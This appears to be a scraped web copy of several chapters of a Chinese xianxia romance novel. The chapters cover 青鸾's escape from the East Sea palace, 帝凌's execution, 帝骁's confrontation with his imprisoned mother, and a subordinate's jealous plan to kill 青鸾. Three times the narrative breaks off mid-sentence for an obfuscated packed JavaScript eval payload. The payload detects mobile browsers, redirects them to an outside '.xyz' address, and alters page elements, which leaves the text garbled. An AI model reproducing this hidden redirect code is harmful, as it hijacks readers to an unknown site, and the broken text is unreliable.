她下意识抬头望向对面的帝骁,在他满是责备与制止的目光中对路之遥道了声谢,抬步向宫外走去。 却被帝骁举剑拦下。 青鸾顿住步子,下一秒便见到白昼之中漫天星光,星子的光直欲把日光遮蔽,令人只觉刺目无法直视,简直要被那强光逼得流下泪来。 一看就是路之遥的手法。 帝骁怒极,也顾不得路之遥的身份了,直呼他的名字道:“你如此滥用星辰之力,也不怕伤及无辜吗?” 路之遥一派倨傲,似是连一丝目光也懒得施舍给他,只对青鸾道:“你尽管走便是,今天谁也拦不了你。” 海上仙宫之外,以灵体化形的小蓝气得牙痒痒。 好好好,好一个路之遥,他今天才算是真正认识他了。 路之遥跟他说什么青鸾自己的课题要由她自己解决,劝他不要插手,结果转眼他自己换了身儿好看衣服在青鸾面前亮相不说,还弄出这么大阵仗。 真看不出来,人模人样的路之遥竟如此心机? 不行,他也得在青鸾面前露一手。 小蓝气鼓鼓地飞回青鸾腰间的乾坤袋中,变回小兽的形态,呲牙咧嘴地从袋子里钻出一个脑袋,冲着帝骁低吼。 “小蓝?你终于醒啦?”青鸾惊喜地低头望它,却在下一秒把它的脑袋摁了回去:“你先回乾坤袋待着,这里太危险了别出来。” 小蓝才亮相不到一秒,就被丝滑地摁回了袋子里,气得它在乾坤袋里对路之遥破口大骂。 路之遥突然觉得后背一凉,感觉好像有人在骂他,于是他眼神锐利地在帝骁和成渊脸上一扫。 成渊打了个哆嗦,表示陌离已逃,自己无意卷入他们三人的纷争,干脆抱臂在一旁看戏。 帝骁则始终沉默不语地注视着青鸾。 他仿佛是在试探,如今的青鸾能反叛到何种境地。 却见她回过头,目光越过帝骁在路之遥身上落定。 她注视着他的眼睛,极为认真地对他说了一句谢谢你,然后飞身朝宫外而去。 自始至终她都不曾再看帝骁一眼。 帝骁攥住剑柄的手已然微微泛白,他动身欲追,却被那漫天星辰散发出来的光辉所牵引着向后坠去。 光芒覆盖了整座海上仙宫,并且还在以极快的速度蔓延着。 举凡星光所覆之处,海水均被掀起万丈之高。 成渊在一旁冷着脸看着眼前发生的一切,随时准备撤离此地。 帝骁咬牙回望路之遥:“我若执意要将她捉回来,你当真要用星辰之力灭了整片东海不成?” “只要能还她自由,别说一个东海,便是四海八荒都沉没在海水之下又如何?”路之遥的声音始终是淡淡的,他的表情似笑非笑:“帝骁,你不会以为我其实是什么大好人吧?” 帝骁多少知道路之遥的脾气,他向来说到做到。 也就不敢再轻举妄动。 路之遥抬眸望向青鸾离开的背影。 她穿过那些被星光所裹挟的海水,奋力振翅,像一只鸟儿终于飞出了破碎的牢笼。 110. 芙蓉浦 东海之事虽不尽如人意,却也总算尘埃落定。 千歌带着陌离远赴东海之外,寻找他少年时的至交好友宫聿风。 成渊取得上古神棺之后本想杀了陌离,却被青鸾和路之遥所阻。回到合虚的他需要第一时间将阿媱封印在水晶棺中,也就暂时顾不得继续追杀陌离。 路之遥则在海上仙宫牵制着帝骁,见青鸾已经走远,这才卸了周身正在流转的星辰之力。 他转首望了一眼神色阴郁的帝骁,眼中有难以压制的杀意。 “很想杀了我,是吗?”帝骁突然笑了笑,迎向路之遥的目光里有隐隐的挑衅:“她会明白的,四海八荒很大,但只有青要山才是她唯一的家。” 路之遥闻言也是一笑,却没有开口说话,他收了手,懒洋洋地注视着始终紧绷的帝骁。 帝骁的紧张肉眼可见。 最近发生的事情太多了,而它们的走向似乎都逐渐开始脱离帝骁的掌控。 这是他绝对不能接受的。 想到这里,路之遥眯了眯眼,终于开口道:“你曾经说过,我的软肋太明显了,今天我把这句话奉还给你。” 风拂动着二人的衣衫,他们身形挺拔相对而立,看起来倒不像是在对峙,只是许久未见的老友在闲聊而已。 帝骁挑了挑眉道:“所谓软肋便是无论如何也难以割舍之物,我走到今天,没有什么是不可以放弃的。” 路之遥反问:“是吗?” 顿了顿,他继续道:“我以为你已经失去得够多了,可是听你的意思,竟还觉得不够?” 帝骁语气里有了些不耐烦:“能够失去的都是注定不属于我的,没什么可惋惜,你以为三言两语便可以让我动摇么?” 路之遥恍然:“原来你平时都是这么哄自己的。” 这两个人都在互相挑衅对方的底线,无形的杀气在他们之间流淌,就在这些冷冽杀气已经快要凝结成冰之时,天边亮光一闪,昭示着九重天上有人到来。 路之遥抬首望天,嘴角扬起一抹笑:“希望东海之事能够尽在你的掌控之中吧,否则我瞧着感觉真可怜。” 说完这话他便隐了身形消失不见,留下帝骁站在原地青筋暴涨。 待九重天上的人到来之后,他还不得不压下自己暴怒的情绪,收了眉眼间的戾气,随他们往天宫而去。 这帮人是天君亲自派来查看东海情况的,今天东海闹出这么大的动静,天君不可能无所察觉。 他们来到东海后见到眼前一片狼藉,而帝骁独自一人立于海上仙宫,便知他已将此间事了结,于是奉命直接将他带到了天君面前。 东海之事牵连甚广,尤其此事涉及心火与神谕,谋划此事的陌离作为东海神君,居然一直意图对九重天宫不轨。 谋反之事一旦暴露,首当其冲的就是当初处理东海祸乱的帝凌以及司掌神籍的帝台。 谋逆之贼竟然与两位天君之子都有脱不了的干系,不可不谓九重天宫一桩丑闻,天君震怒已极。 在帝骁回到九重天之前,天兵们便已将帝凌与帝台府邸重重包围起来。 众人皆知天君疑心甚重,不论东海之事与帝凌和帝台到底有没有关系,这两位神君都是难免要掉一层皮的。 更何况此事还真与他们有极大的关系。 帝台也就罢了,他至多不过给了陌离一个东海神君的官职,其余事情他并没有过多参与。 可帝凌便不一样了,陌离利用神谕炼化神兵意图谋反,这件事他不仅知情,而且从头到尾都有参与,他甚至也与那些神兵结契,这便是他与陌离勾结的铁证。 他与陌离绑定得太深,如今已难以脱身。 被封在府中的帝凌瘫坐在椅子上,满头大汗地思索着,想到与神兵结契一事,他后知后觉地往书房密室赶去。 打开放置着结契铜盘的匣子,他不禁眼前一黑,踉跄地扶住墙,这才没有跌倒。 匣子里空空如也。 现在即便想销毁这一铁证也来不及了。 眩晕了好一阵后,他终于缓了过来,扔掉手中的匣子,缓缓直起腰。 其实他早该想到的,帝骁既然从他这里窃走了能够直达东海地宫的法器,想必是早已知晓他与陌离谋划之事的所有内情。 帝骁行事向来缜密,又怎么会放过能够直接给他定罪的铜盘? 想通这一节,帝凌抹了把额上的冷汗埋头苦笑。 千算万算没有算到,此事最后竟会败落在他的亲生儿子手里。 便在此时,帝骁领着一众天兵闯入府中,将还在书房密室中的帝凌抓个正着。 帝凌心知自己已经无从抵赖,他很清楚帝骁的行事风格,也很明白天君的脾气秉性。 帝骁已经出手,他不会给自己留任何一条退路,而天君平生最恨背叛,也最恨有人挑战他的权力。 东海之事一次触及了天君的两条底线,帝凌知道自己已无活路,他现在连一点反抗的念头也没有。 果然,但闻帝骁冷冷地道:“奉天君命,将此叛贼押往诛仙台,即刻处决。” 被天兵们擒住的瞬间,帝凌抬起头来望向帝骁。 自从素娆被关进龙渊之狱后,他便再也没有管过帝骁,后来帝骁被天君安置在了青要山中,他就更不曾主动踏入青要宫,不曾认真打量过这个孩子。 这是这么多年来,他第一次认认真真地注视帝骁,也就是在这一刻他才恍然惊觉,当初那个只知道屁颠屁颠跟在母亲身后的孩子,居然已经长这么大了。 意识到这一点的时候,不知是不是出于父亲的本能,他下意识想,这孩子是怎么独自一个人,在偌大的青要山中长这么大的? 可是下一秒他就将这个问题抛在了脑后,眼下他有更重要的问题要问帝骁。 “你是从什么时候开始的?研究破除神兵的阵法,窃走我的法器与铜盘,你从什么时候开始做这些事的?” 帝骁冷漠地注视着他,没有回答他的问题。 帝骁如此漠然的态度显然激怒了帝凌,他在被天兵们拖着往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943137|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前走的时候,不断地回头冲帝骁道:“我是你的父亲!你的亲生父亲!你以为你揭发了我,就能得到天君的信任吗?他只会连你一同怀疑,你再也不可能得到天君之位了!做梦吧你……” 帝凌的声音越来越远,他骂骂咧咧地被拖上了诛仙台。 事已至此,他已经毫无办法,既然连命都保不住了,又何须顾忌什么脸面,倒不如骂帝骁几句出口恶气。 帝骁没有随他们一起前往诛仙台,他站在原地,垂下头注视着那个空空的匣子。 过了一会儿,他耸了耸肩膀,似是克制不住地发出几声冷笑。 “父亲……”这两个字从他的牙缝中挤出,令他感到一阵恶寒:“我早就没有什么父亲了。” 他转身离开书房,挥手示意留下的天兵搜查府邸,然后往天君处赶去。 帝凌已被处置,他需要立刻回去复命。 天君坐于大殿之中,在帝骁到来之前,这里空空荡荡的只有他一个人。 他独自坐在这里,抬起手支撑着自己的额头,看起来疲惫而苍老。 从未有过的老态出现在了他的身上,这是帝骁第一次意识到,强大犹如天君,竟也无法抵抗时间的洪流,终究逃不过陨落的命运。 “你回来了?”见到帝骁之后,天君挥了挥手,示意帝骁不必开口:“帝凌已在诛仙台陨落,你办事很利索。” 帝骁抿紧了嘴唇,安静地听着,没有说话。 这也是第一次,天君向他透露了一些内心的想法,他向帝骁说着自己的打算,露出了从未有过的心软的一面:“帝凌已经陨落,帝台就不能再杀了。说到底他不过是从犯,受了旁人挑唆而已。” 帝骁却十分清楚,天君所说的这番话,后面一句为假,前面那句才是真。 一口气杀掉两个儿子,即便是天君也要斟酌再斟酌。 他已经快要陨落了,便连帝骁都能感受到他的神力与生命都在快速流逝。 他必须在自己羽化之后在四海八荒留下一个好名声。 当年处理魔族始祖之息是如此,如今处置东海谋反之人也是如此。 炼制诸天同尘境将始祖之息与大荒一同斩灭的想法是天君提出来的,但他在位时不会这样去做。 于是他放任始祖之息觉醒,这件事只有等到将来帝骁去做。 他的眼里分明容不得沙子,向来宁肯错杀也不能放过,何况是作为从犯,在东海之事中有过实际行动的帝台。 他如何能够容忍? 只是现在他还不能杀他。 于是这件事也只能等到帝骁继位之后去做。 他说完那番话后将手放下,眯了眯眼睛望向帝骁,目光中全是审视。 帝骁在天君身边这么多年,如何听不懂他的弦外之音。 其实即便天君今日不说这些话,他也知晓自己应该如何应对。 他早就在这染缸中被染上了同样的底色。 帝骁避开了天君的目光,垂下头恭谨地道:“孙儿明白。” 111. 芙蓉浦 天君仍旧眯着眼打量着帝骁,许久没有说话,过了好一会儿才嗯了一声,颇为满意地点了点头。 他挥了挥手示意帝骁退下,却见帝骁仍旧站在原地,似乎在犹豫着什么,片刻之后他做下决定,垂首继续道:“孙儿还有一事要禀。” “哦?”天君的语气里多了些好奇:“何事?” “东海神君谋逆一事,帝凌已经伏诛,陌离尚在追捕,但孙儿以为此事还有一些人牵涉其中,应当及时处理。”帝骁面无表情,声音里没有丝毫留恋:“当初陌离前来九重天寻找帝凌,尚为帝凌夫人的素娆对此也知情,他们之间的谋算想必她也有所参与。为绝后患,孙儿请求将她一并处置。” 天君听闻帝骁此言,诧异地坐直了身子,不过很快他便心下了然,欣慰地对帝骁道:“很好,你终于做出决定了,看得出来你已经做好准备。” 他苍老的声音里有些许如释重负之意,似乎他等待这一天已经等了很久了。 帝骁瞬间反应过来,天君所说的做好准备到底是什么意思。 天君实在是太老了。 在今日之前,帝骁其实从未产生过这样的想法。 端坐于九重天宫的统治者从来都是威严的,他的雷霆手段从来没有因为年纪渐长而有所改变,人们也因此总是忽略他的年纪。 大家对他的统治习以为常,早就忘记他已在位太久,忘记他也会有羽化的那一天。 可是今天,听着天君苍老的声音,看见他身上怎么也掩不住的疲态,帝骁忽然就有所了悟。 他知道自己蛰伏等待了许久的那一天很快就要来了。 而在此之前,他需要亲手铲除余下的障碍。 也正因如此,天君才会意味深长又颇感欣慰地说出那句话。 他认为帝骁终于做好准备成为如他一般的孤家寡人了。 想要坐上九重天宫至高的位子,就必须要耐得住寂寞。 这是他奉行了一生的准则。 他用这条准则要求着自己,同时也用它考验着他的继承者。 其实他从一开始就没有打算放过素娆,玷污了天族声名的人,他如何容得下她。 之所以留她一条命,是因为他意识到,这个女人是帝骁的软肋。 他的继承者怎么可以有这样一个明显的软肋? 所以他留下了她,将她作为最后一个考验,考验帝骁能否真正断情绝爱,亲手割去自己的软肋。 现在看来,帝骁的确是做好准备了。 素娆一死,他便是九重天宫名正言顺的储君。 什么血缘亲情,在储君之位面前都是虚幻的。 “你既已想清楚了,那么这件事就交给你去办吧。”天君将身子往后一靠,这么一个小小的动作也暴露出他的疲惫:“本君相信你能够处理好,这便去吧,结束之后尽快回来复命。” 帝骁颔首,转身朝龙渊之狱走去。 天君已经彻底向他放权,他自行调用了一队天兵,带着他们进入龙渊之狱,往素娆所在的牢狱而去。 素娆见到帝骁自然是欣喜的,可是在看见帝骁身后的一队天兵时,她刚刚扬起的笑容瞬间凝固在了脸上。 她从帝骁的表情读出了他的来意。 不待帝骁靠近,她便瑟缩着往后退了几步,靠在笼子的角落护住怀中的婴孩。 帝骁见她如此防备,禁不住嗤笑一声顿住脚步,隔着一段距离注视着她,眸光越发冷冽。 这是母子两人第一次以这般势不两立的姿态对峙,不似亲人,倒似仇敌。 “天君说得对,什么亲情血缘,全都是虚妄的。”帝骁冷笑着招了招手,示意天兵们上前:“先将她怀里的那个孽种拿下。” 天兵们听从号令走上前去,却在靠近素娆的一瞬间被她周遭突然亮起的白光击退。 帝骁蹙了蹙眉,拂袖击碎那道白光,却见下一秒光芒重新聚拢,形成半透明的屏障,牢牢地将素娆护在里面。 喝退天兵,帝骁召出归墟,再次一剑将白光击碎,然而那道白光几乎在破碎的瞬间又重新凝聚起来,形成一道新的屏障。 见到归墟也奈何不了那个屏障,在场的天兵们纷纷倒吸了一口凉气。 帝骁没有继续出手,他持剑冷眼观望,片刻之后露出一个了然的笑。 他的笑容与声音都是淡漠的:“借助妖丹,以燃烧寿元为代价铸起这样一道屏障……你难道不知这种做法如同杀鸡取卵,很快你就会燃尽寿元而亡。” 其余人在听到帝骁这番话后也露出了然的表情,与此同时还浮现起一些难以掩饰的轻蔑。 他们将意味不明的目光落到素娆怀中的孩子身上。 “大妖的妖丹……”帝骁也望向素娆怀中的婴孩,眼神里尽是厌恶:“是这个孽种的父亲留给你的?” 没想到九重天追杀多年的大妖早已陨落,他还将自己的妖丹留给了素娆。 素娆在白色光芒的笼罩下抬起头,直视着帝骁,对他道:“他是你的弟弟,不是你们口中的孽种。帝骁,无论你接不接受,都无法否认他和你拥有同一个母亲的事实。” 帝骁怔了怔,然后状似随意地一笑:“是么?我已经不记得自己还有什么母亲了。倒是您让我大吃一惊,在龙渊之狱这么多年,没想到你不仅没有反省,反而越发的不要脸面。” 他从牙缝里挤出四个字:“自轻自贱。” 素娆没有被他这番话激怒,她的表情始终是平静的:“其实你一直都很在意,你和这个孩子流淌着一半同样的血脉。你自诩拥有天族血脉,因而高高在上,可那又如何呢?” 她问帝骁:“孩子,拥有天族血脉,那又如何?你过得快乐吗?你所做的事情有一件是出自本心么?” 帝骁轻轻地吸了一口气,微微抬手,示意身后的天兵们出去。 待他们全都退出,此地只余他与素娆时,他缓缓俯下身,注视着她一字一句地道:“母亲,在您与那妖孽苟且被打入龙渊之狱前,我一直都是快乐的。” “您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948253|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不记得了吗?”他反问素娆:“这一切都是您造成的,是你们剥夺了我的快乐,何以现在还要反过来责问我?” “我剥夺了你的快乐?”素娆重复了一遍帝骁的质问,她埋头思索片刻,然后再次抬首发出一声冷笑:“那么又是谁剥夺了我的自由?” 她死死地盯着帝骁:“你曾经问过我,是否其实我根本就不爱你的父亲?现在我可以回答你,我何止是不爱他。” 素娆一向温婉轻柔的声音里多了些不加掩饰的恨意:“我比任何一个人都要憎恨他。他自恃天君之子,身上流淌着天族血脉,便可以将旁人都视作蝼蚁。” “在这九重天上,我是血脉低贱的凡人,与周围所有人都格格不入,他们可以肆意地践踏侮辱我。可是在来到九重天之前,我也是快乐的。没有人会看轻我的血脉,没有人会指责我的无能。” “帝凌毁了我的生活,毁了我的一切,我只不过是被他强行抓到九重天上来的俘虏。他赏我一个夫人之名,冠以我虚无缥缈的宠爱,于是他在我身上做的一切都可以忽略不提,他干干净净好不无辜,我却背负骂名被泼尽脏水。” 说到这里,她近乎是在乞求帝骁的共鸣:“而你现在甚至还要剥夺我恨他的权利吗?” 帝骁静默地、长久地注视着她,他细细端详着她的表情,仿佛是在今日才真正认识她。 她控诉着他的父亲,同时毁灭了他印象中的母亲。 宛如一只向来人畜无害的小兽,终于露出獠牙展现出真实的一面。 帝骁注视着她,觉得陌生又熟悉。 他似乎在什么人脸上看到过一模一样的表情。 可惜现在他的大脑一片混沌,他什么也想不起来了。 过了许久,他问出一个于他而言很关键的问题:“所以你是为了报复我们才做下这些事情?与那妖物苟且,生下这个妖孽,都是为了报复我们吗?” 在听见帝骁问出这个问题的时候,素娆便清楚了,他永无可能共情她的处境,尽管他是她的亲生儿子,他们本应母子连心。 她摇了摇头,否认了帝骁的问题:“我不是为了报复。” “帝骁,我不会为了报复谁而让自己随便委身于人。我不是一个物件,我是活生生有血有肉的人,我有我的爱与恨,我有尊严,也有自己做出决定的权利。” “就好比当初帝凌认为炼器不是正途,千方百计扼杀你炼器的爱好,而我从来都支持你坚持炼器之术,这是一样的道理。你也是有血有肉的人,你身上流淌着神君的血脉,便应当比旁人还要多出更多的选择才对。你完全有顺遂心意自己做出决定的权利。” 末了,她轻轻地笑了一声,说出的话在帝骁听来却是振聋发聩:“若是为了报复你们而随意委身于人,这才叫做自轻自贱。” 他从小到大听到的道理都是天君灌输给他的,这是他第一次听见如此离经叛道的话。 怔了许久,他才蹙起眉头问素娆:“你方才说的那些话,都是从何处听来的?” 112. 芙蓉浦 从来没有人对他讲过这样的话。 此刻他站在素娆面前,听着这些从未听过的言论,宛若一个无知小儿。 听到他如此问,素娆似乎陷入了久远的回忆之中,她仍旧注视着帝骁,却仿佛在透过他注视着自己曾经的年轻岁月。 那是一段太过遥远的记忆,记忆中的人和事都已经模糊了轮廓,她早已记不太清。 自从被帝凌劫至九重天宫之后,她便刻意地不让自己陷入往昔的回忆,回忆中的时光越是美好,独自在九重天上受尽冷眼的日子便显得越加难熬。 自由、权利、尊严……这些于帝骁而言无比陌生的言论都是她从学宫中习来的。 原本她可以在学宫中继续修习,在师长同门的陪伴下度过一段美好的时光,然后与好友作伴游历四海八荒,她的人生本来拥有许多的选择。 可是这一切都在遇见帝凌的那一刻戛然而止。 她被困在九重天宫,被迫成为他的夫人,被逼着生下了他的孩子。 从此她的人生再也不由自己选择。 怎么可能不恨。 在帝骁刚刚出世的那段时间,帝凌以为有了孩子的牵绊,作为母亲的素娆应当能够放下心结好生与他在一起了,却没想到她对九重天的厌恶变得比之前还要强烈。 她憎恨那一座冷冰冰的九重天宫,更憎恨将她掳至此处软禁起来的帝凌,同样憎恨的还有他们的这个孩子。 这个本不该来到世上的孩子。 素娆将目光重新聚焦在帝骁身上。 于是帝骁看见了从没有在母亲眼中看到过的复杂目光。 自然有母亲对儿子的爱与依恋,可同样也有不加掩饰的恨与憎恶。 帝骁竟觉得自己有些承受不住这样的目光,下意识往后退了几步。 从前素娆在帝骁面前都掩饰得很好。 她一遍又一遍地告诉自己,这个孩子是无辜的,帝凌与她的仇怨都与他无关,她是他的母亲,她应当保护他。 尤其在这个危机四伏的九重天宫。 她知道,无数双眼睛盯着她和她的孩子。 而她一介凡人之躯,独自在这九重天上,犹如浮萍无所依靠。除了帝凌,没有人能够庇护她与孩子。 将自己关在殿中几日几夜不吃不喝后,她终于妥协了,开始学着如何扮演神君夫人这个角色,同时开始学着如何做一个母亲。 因此帝骁从来没有想过,他的母亲居然如此厌恶他。 她居然一直厌恶着他。 素娆目光中原本沸腾着的憎恶已经冷却,取而代之的是无尽的疲倦。 她抗争过,也妥协过,此刻与帝骁对峙,已经耗尽了她所有的力气。 她没有回答帝骁的问题,并不打算告诉他自己的从前。这是她最后的底线,那段美好的过往不应当与九重天宫的任何人产生任何关联。 仿佛唯有如此,她才能捍卫自己心中最后一抹纯粹。 帝骁望一眼素娆,又望一眼被她牢牢护在怀里的孩子,突然感到一阵眩晕。 他苍白着脸收了归墟:“寿元燃尽之后你会死,在你死后,我会亲手把你怀里的这个孩子扔下诛仙台。” 说完他转身离开,步伐有些凌乱。 他从未如此狼狈过。 似是不战而败,落荒而逃。 太荒诞了。 这一切都太荒诞了。 似乎所有人心里都燃烧着仇恨,每一个人都有憎恶的对象,唯独他不知道自己应该去恨谁。 孑然一身回到青要山中,他恍恍惚惚地踏入青鸾的寝殿。 每次从九重天宫归来,他总会第一时间去往青鸾的住处,瞧一瞧她正在做什么,然后安静地陪她待一会儿。 这已经在不知不觉中成为他难以戒除的习惯。 唯有听见她的声音在耳畔叽叽喳喳地响起,他才能对周遭的事物产生一种实感。 才会真正意识到,他已经从万古寒凉的九重天回到了人间。 人间是有温度的。 他抬手抚上桌面,缓缓向屋内走,最后停在窗前,抬眸望向大荒的方向。 从东海回来之后,向天君禀报时,他故意隐瞒了陌离的去向,谎称不知他被何人救走也不知他们去往何方。 一向多疑的天君这次却没有怀疑,他面不改色地按下此事后松了口气。 与此同时他生出一个疑惑。 为什么要这样做? 他不清楚自己在选择隐瞒真相时心里升起的感觉到底是什么。 剧烈的矛盾感已经快要将他撕碎,他已经没有余力思索其他。 闭上眼睛,脑海里不由自主地浮现出青鸾的脸。 然而脑海中每一个浮现起的画面都是她皱着眉头向自己质问的模样。 憎恶的目光,质疑的语气,这让他想起被关押在龙渊之狱中的母亲。 他终于知道今日见到母亲对自己怒目而视时的熟悉之意从何而来了。 睁开眼睛,他忽然笑了。 笑声散落在傍晚时分太阳剩下的最后光芒里,染上了一些苍凉。 这是他第一次真切地感觉到自己心里空荡荡的,如九重天宫一般寒凉的心脏深处,有风穿堂而过。 便在这时身后响起脚步声,他微微侧首,语气里带着愠怒:“谁让你进来的?” 尺素被他这样一喝,骤然停下步伐,却没有退出,而是鼓起勇气问他:“这几日您要处理素娆夫人之事,抽不开身,青鸾那边……是否需要属下去一趟?” 若在平常帝骁一定会斥责她自作主张,可是今日他罕见地沉默了一下。 再开口时,他的声音里已经没有方才的愠怒,而是恢复了往日的平静:“你随她去一趟大荒,但不要轻举妄动,每日将她的消息传回青要宫即可。” “属下领命。”尺素抬首望着帝骁瘦削的背影,黄昏的风已经有些凉意,此刻正掠过屋檐,拂动着帝骁的衣衫与她的发梢。 她张了张口,似乎还想说些什么,犹豫一瞬后将未说出口的话全都咽了回去,沉默地退出寝殿。 殿外怀沙持剑而立,正安静地等着她出来,见到她一脸忧色地退出来后,他沉着脸向她走去:“你当真要去大荒找青鸾?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952437|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尺素的回答令他的脸色又沉了几分:“神君已经答应了,我即刻就要动身。” 怀沙抬手拦她:“这不是你该管的事,你已经逾矩了。” 尺素无视他的阻拦,继续抬步往青要山外走:“我只是在做我想做的事,何况这是神君的吩咐,你凭什么拦我。” 怀沙气得唤她的名字:“到底是神君的吩咐还是你自己的主意,你心里清楚!” 尺素顿住步子,忍无可忍地抬眼望他:“你什么意思?” 怀沙见她终于肯停下来听自己说话,抓紧机会劝她:“你清醒一点吧,去大荒找到青鸾又如何?你是能劝动她还是能取代她?何苦要给自己找不痛快?” “我劝不动她也取代不了她。”尺素冷笑一声:“但我可以杀了她。” 怀沙愣了一下:“你疯了?” “再不杀了她,神君才是要疯了。”尺素再也抑制不住自己的情绪,声音有些激动:“你还看不出来吗?若非她擅离青要山,神君怎会如此失魂落魄?我从没有见过他这般失落,这都是拜青鸾所赐!” 怀沙有些费解地道:“有没有一种可能,神君情绪不佳不是因为青鸾,而是因为素娆夫人……” 他觉得青鸾这锅背得有点儿冤。 尺素又是一声冷笑:“你根本就不了解。” 怀沙吸了一口气:“好,就算事实如你所言,那么杀了青鸾之后呢?你要如何承受神君的雷霆之怒?”他又吸了一口气道:“再退一步讲,就算你不在乎自己的性命,拼上这条命也要杀了青鸾,那你可曾想过,你如今可能已经不是青鸾的对手?” 他抬手抚上尺素肩膀,如兄长一般语重心长道:“你冷静一点吧,青鸾能够当着神君的面离开,要么是她修为大涨连神君也无可奈何,要么便是她背后藏着实力强悍的人。我早就同你说过,这些大人物之间的恩怨不是你我能够插手的,他们的世界离我们太遥远了。” “在我心里,神君不是高高在上的大人物。”尺素的声音里有着不可动摇的坚定:“他其实和寻常人没什么两样,他也有他的喜怒哀乐。” 怀沙叹了口气,虽然不忍,但还是泼下一盆凉水:“可这跟你有什么关系?他的情绪不会因你而牵动,他也不会在乎你的喜怒哀乐。你说了那么多,但就是不肯承认其实你是嫉妒青鸾,所以才控制不住地想要杀了她,是吗?尺素,放过自己吧。” 尺素微微扬起头,她眨了眨眼,随泪水一并掩去的还有她小心翼翼保护着的骄傲:“我说了,我在做我想做的事,这是我自己的决定,你不必再劝我。” 怀沙认真地注视着她,半晌,缓缓将手放下。 尺素越过他继续向前走去,日暮的最后一抹余晖随她一起离开,当她的身影消失在怀沙眼前时,夜色从天边降临。 尺素乘着夜色往大荒赶去。 夜风拂面倒令她冷静下来。 她咀嚼着方才怀沙说的话。 出于嫉妒么? 就算是吧。 她接受这个说法,也接受自己的不堪。 沉下目光,她继续坚定地往大荒而去。 113. 芙蓉浦 大荒其实是海内之人对海外之域的统称。 南海之外的土地被称为大荒南,东北海之外的土地被称为大荒北,与之同理,西北海之外被称为大荒西,东海之外则被称为大荒东。 因此大荒虽然只有一个统称,但不同的区域却是隔着天南海北。 此刻青鸾正在前往大荒东的路上。 她虽然并不清楚在心火中瞧见的帝宣身影具体出现在大荒哪一个方向,但她知道魔族始祖之息由何地而始。 在那个预言梦中帝骁曾经对她讲过,魔族始祖之息自大荒东部的青丘之国始,短短数月光景便蔓延到了大荒南部的苍梧之野。 而她又从陌离的回忆中得知,早在数百年前魔族始祖之息便已经现世,但天君却无所作为,在心火映照出的画面里,她看到帝宣持剑与始祖之息相抗,便也就不难猜出帝宣所在的方位。 帝宣一定是在始祖之息现世不久便赶赴大荒与之对抗。 因此若要寻找他的踪迹,青鸾此行的目标当是大荒东部的青丘之国。 想要去往大荒东部,只需要自东海出发,一直往东即可。 这是青鸾第一次去往海外之域,那片神秘的土地对于她来说实在是太遥远了,赶路时她感受到胸膛里心脏的跳动,比以往任何时候都要有力。 此刻摆在她面前的是一条充满未知的路,这令她感到茫然的同时也让她感觉兴奋,因为与未知结伴而行的是无数的选择与机会。 她从未有过这样的感觉。 她感觉世界在向她敞开。 她终于亲眼见到了帝宣曾经给她寻来的话本子里描述过的风景。 原来东海尽头当真有一处深不见底的沟壑,那道沟壑静谧地存在于东海边缘,海水似银河倒悬,往九天之上而去。 皮母地丘壮阔无垠,高山耸入天际,风声不绝于耳,似要将天边的碎云扯下,用以燃烧正在山间流淌的岩浆。 大言山是合虚的入口,它们都被称为日月所出之地,因是传说中先神的居所,青鸾并不敢靠近打量,经过被黑雾笼罩着的合虚时,她只听到猎猎风声。 合虚仿佛是独立于天地的另一方空间,是常人所不能触碰的维度,青鸾绕道而行后,终于抵达了真正的大荒。 她的眼前不再只有开阔的河流山川,开始出现人群聚居的痕迹。 大荒诸国如一幅画卷,在她面前徐徐展开。 她途经的第一个国度唤作大人国,国家建立在波谷山上。顾名思义,在这个国度中生活的人体型都十分巨大。 青鸾曾在话本里读到过,传闻生活在大人国中的人要在母亲肚子里孕育三十六年才能出生,出生之际便是满头白发,且他们见风就长,不到一日的工夫便可以长成高大魁梧的巨人。 原本她以为那只是话本子里编来逗人取乐的故事,却没想到世上真有如此神奇之地。 她在波谷山上逗留了片刻,很快发现话本里的传闻也有不实之处。 她所见到的那些魁梧巨人并非个个都是白发,他们的头发五颜六色,甚至同一个人头上可能会出现好几种颜色。 实在是太稀奇了。 巨人们的脾气同话本子里讲的一样温和,青鸾好奇地行走在他们的集市里,不住地左张右望,他们也并没有因此气恼。 于是青鸾便更加明目张胆地打量四周的人。 直到看见集市尽头一堆白发巨人正在排队染发,她心中的好奇才算是得到了解答。 她眨了眨眼,摸摸自己的头发,抿嘴笑了笑,身形一闪离开集市,继续往东飞去。 她所经过的第二个国度在茫茫大海之上。 那是一座建立在海岛上的国度,也是她曾在帝宣寻来的话本里见到过的国度。 